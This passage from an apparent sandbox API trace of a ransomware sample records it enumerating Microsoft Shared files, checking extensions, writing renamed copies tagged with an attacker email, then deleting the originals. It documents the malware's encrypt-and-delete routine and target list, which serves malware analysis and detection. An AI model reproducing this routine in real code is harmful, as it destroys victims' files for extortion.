[0049.823] lstrlenW (lpString=".ppt") returned 4 [0049.823] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString=".zip") returned 4 [0049.823] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.823] lstrlenW (lpString=".rar") returned 4 [0049.823] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString=".bz2") returned 4 [0049.823] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString=".7z") returned 3 [0049.823] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString=".dbf") returned 4 [0049.823] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString=".1cd") returned 4 [0049.823] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString=".jpg") returned 4 [0049.823] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.823] lstrlenW (lpString=".doc") returned 4 [0049.823] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString=".docx") returned 5 [0049.823] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.823] lstrlenW (lpString=".pdf") returned 4 [0049.823] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString=".xls") returned 4 [0049.823] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString=".xlsx") returned 5 [0049.824] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.824] lstrlenW (lpString=".ppt") returned 4 [0049.824] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.824] lstrlenW (lpString=".zip") returned 4 [0049.824] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.824] lstrlenW (lpString=".rar") returned 4 [0049.824] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString=".bz2") returned 4 [0049.824] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString=".7z") returned 3 [0049.824] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.824] lstrlenW (lpString=".dbf") returned 4 [0049.824] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.824] lstrlenW (lpString=".1cd") returned 4 [0049.824] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.824] lstrlenW (lpString=".jpg") returned 4 [0049.824] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.824] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.824] lstrlenW (lpString="WordMUI.XML") returned 11 [0049.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.825] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1800) returned 1 [0049.825] CloseHandle (hObject=0x18c) returned 1 [0049.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0049.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.825] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.825] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0050.349] GetLastError () returned 0x0 [0050.349] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x708, lpOverlapped=0x0) returned 1 [0050.470] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x710, lpOverlapped=0x0) returned 1 [0050.471] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.471] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.471] SetEndOfFile (hFile=0x180) returned 1 [0050.471] CloseHandle (hObject=0x180) returned 1 [0050.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.472] SetEndOfFile (hFile=0x18c) returned 1 [0050.473] CloseHandle (hObject=0x18c) returned 1 [0050.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.473] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0050.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.473] lstrlenW (lpString=".doc") returned 4 [0050.473] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.473] lstrlenW (lpString=".docx") returned 5 [0050.473] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.473] lstrlenW (lpString=".pdf") returned 4 [0050.473] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.473] lstrlenW (lpString=".xls") returned 4 [0050.473] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.473] lstrlenW (lpString=".xlsx") returned 5 [0050.473] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.473] lstrlenW (lpString=".ppt") returned 4 [0050.474] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString=".zip") returned 4 [0050.474] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.474] lstrlenW (lpString=".rar") returned 4 [0050.474] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString=".bz2") returned 4 [0050.474] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString=".7z") returned 3 [0050.474] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString=".dbf") returned 4 [0050.474] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString=".1cd") returned 4 [0050.474] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString=".jpg") returned 4 [0050.474] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.474] lstrlenW (lpString=".doc") returned 4 [0050.474] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString=".docx") returned 5 [0050.474] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.474] lstrlenW (lpString=".pdf") returned 4 [0050.474] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString=".xls") returned 4 [0050.474] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString=".xlsx") returned 5 [0050.474] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.474] lstrlenW (lpString=".ppt") returned 4 [0050.474] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.475] lstrlenW (lpString=".zip") returned 4 [0050.475] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.475] lstrlenW (lpString=".rar") returned 4 [0050.475] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.475] lstrlenW (lpString=".bz2") returned 4 [0050.475] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.475] lstrlenW (lpString=".7z") returned 3 [0050.475] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.475] lstrlenW (lpString=".dbf") returned 4 [0050.475] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.475] lstrlenW (lpString=".1cd") returned 4 [0050.475] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0050.475] lstrlenW (lpString=".jpg") returned 4 [0050.475] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.475] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0050.475] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0050.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.538] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2575) returned 1 [0050.538] CloseHandle (hObject=0x18c) returned 1 [0050.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0050.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.538] lstrlenW (lpString=".doc") returned 4 [0050.538] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.538] lstrlenW (lpString=".docx") returned 5 [0050.538] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0050.538] lstrlenW (lpString=".pdf") returned 4 [0050.538] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.538] lstrlenW (lpString=".xls") returned 4 [0050.538] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.538] lstrlenW (lpString=".xlsx") returned 5 [0050.538] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0050.538] lstrlenW (lpString=".ppt") returned 4 [0050.538] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".zip") returned 4 [0050.539] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.539] lstrlenW (lpString=".rar") returned 4 [0050.539] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.539] lstrlenW (lpString=".bz2") returned 4 [0050.539] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.539] lstrlenW (lpString=".7z") returned 3 [0050.539] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".dbf") returned 4 [0050.539] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".1cd") returned 4 [0050.539] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".jpg") returned 4 [0050.539] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".doc") returned 4 [0050.539] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.539] lstrlenW (lpString=".docx") returned 5 [0050.539] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0050.539] lstrlenW (lpString=".pdf") returned 4 [0050.539] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.539] lstrlenW (lpString=".xls") returned 4 [0050.539] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.539] lstrlenW (lpString=".xlsx") returned 5 [0050.539] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0050.539] lstrlenW (lpString=".ppt") returned 4 [0050.539] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.539] lstrlenW (lpString=".zip") returned 4 [0050.539] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.540] lstrlenW (lpString=".rar") returned 4 [0050.540] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.540] lstrlenW (lpString=".bz2") returned 4 [0050.540] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.540] lstrlenW (lpString=".7z") returned 3 [0050.540] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.540] lstrlenW (lpString=".dbf") returned 4 [0050.540] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.540] lstrlenW (lpString=".1cd") returned 4 [0050.540] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0050.540] lstrlenW (lpString=".jpg") returned 4 [0050.540] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.540] lstrcmpiW (lpString1=".emf", lpString2=".wiki") returned -1 [0050.540] lstrlenW (lpString="Genko_2.emf") returned 11 [0050.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.540] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10340) returned 1 [0050.540] CloseHandle (hObject=0x18c) returned 1 [0050.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0050.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString=".doc") returned 4 [0050.541] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.541] lstrlenW (lpString=".docx") returned 5 [0050.541] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0050.541] lstrlenW (lpString=".pdf") returned 4 [0050.541] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.541] lstrlenW (lpString=".xls") returned 4 [0050.541] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.541] lstrlenW (lpString=".xlsx") returned 5 [0050.541] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0050.541] lstrlenW (lpString=".ppt") returned 4 [0050.541] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString=".zip") returned 4 [0050.541] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.541] lstrlenW (lpString=".rar") returned 4 [0050.541] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.541] lstrlenW (lpString=".bz2") returned 4 [0050.541] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.541] lstrlenW (lpString=".7z") returned 3 [0050.541] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString=".dbf") returned 4 [0050.541] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString=".1cd") returned 4 [0050.541] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.541] lstrlenW (lpString=".jpg") returned 4 [0050.542] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString=".doc") returned 4 [0050.542] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.542] lstrlenW (lpString=".docx") returned 5 [0050.542] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0050.542] lstrlenW (lpString=".pdf") returned 4 [0050.542] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString=".xls") returned 4 [0050.542] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString=".xlsx") returned 5 [0050.542] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0050.542] lstrlenW (lpString=".ppt") returned 4 [0050.542] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString=".zip") returned 4 [0050.542] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString=".rar") returned 4 [0050.542] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.542] lstrlenW (lpString=".bz2") returned 4 [0050.542] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.542] lstrlenW (lpString=".7z") returned 3 [0050.542] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString=".dbf") returned 4 [0050.542] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString=".1cd") returned 4 [0050.542] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0050.542] lstrlenW (lpString=".jpg") returned 4 [0050.542] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.543] lstrcmpiW (lpString1=".emf", lpString2=".wiki") returned -1 [0050.543] lstrlenW (lpString="Graph.emf") returned 9 [0050.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.543] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=116724) returned 1 [0050.543] CloseHandle (hObject=0x18c) returned 1 [0050.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0050.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 